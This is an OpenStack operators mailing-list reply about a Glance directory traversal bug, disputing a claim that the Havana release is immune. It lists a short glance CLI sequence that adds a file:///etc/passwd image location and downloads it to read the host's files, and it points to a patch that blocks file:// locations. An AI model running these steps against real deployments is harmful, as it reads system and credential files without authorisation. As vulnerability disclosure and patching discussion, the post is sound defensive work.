[Openstack-operators] glance directory traversal bug and havana
Jesse Keating
jlk at bluebox.net
Thu Jan 8 17:37:15 UTC 2015
On 1/7/15 8:47 PM, George Shuklin wrote:
> I spend few hours trying to backport to Havana, but than I found, that
> Havana seems be immune to the bug. I'm not 100% sure, so someone else
> advised to look too.
>
> The bug was that icehouse+ accepts all supported schemas. Fix excludes
> 'bad' schemes. Although Havana have explicitly given list of accepted
> schemes for location field, and 'bad' schemes are not in it.
>
Havana is certainly not immune. I was able to fetch content from the
system fairly easily.
Start with an updated glance client
Modify it as listed in
https://bugs.launchpad.net/glance/+bug/1400966/comments/6
$ glance image-create --disk-format raw --container-format bare
$ glance image-update --size 700 <image_id>
$ glance --os-image-api-version 2 location-add --url file:///etc/passwd
$ glance image-download <image_id>
That got me (some of) the contents of /etc/passwd.
The patch I posted prevented this from happening. It blocks adding a
location that is file:// based, but still allows other location adds
that should be allowed.
https://github.com/blueboxgroup/glance/commit/7ab98b72802de1d5695d35306e32293463977496
--
-jlk
More information about the OpenStack-operators
mailing list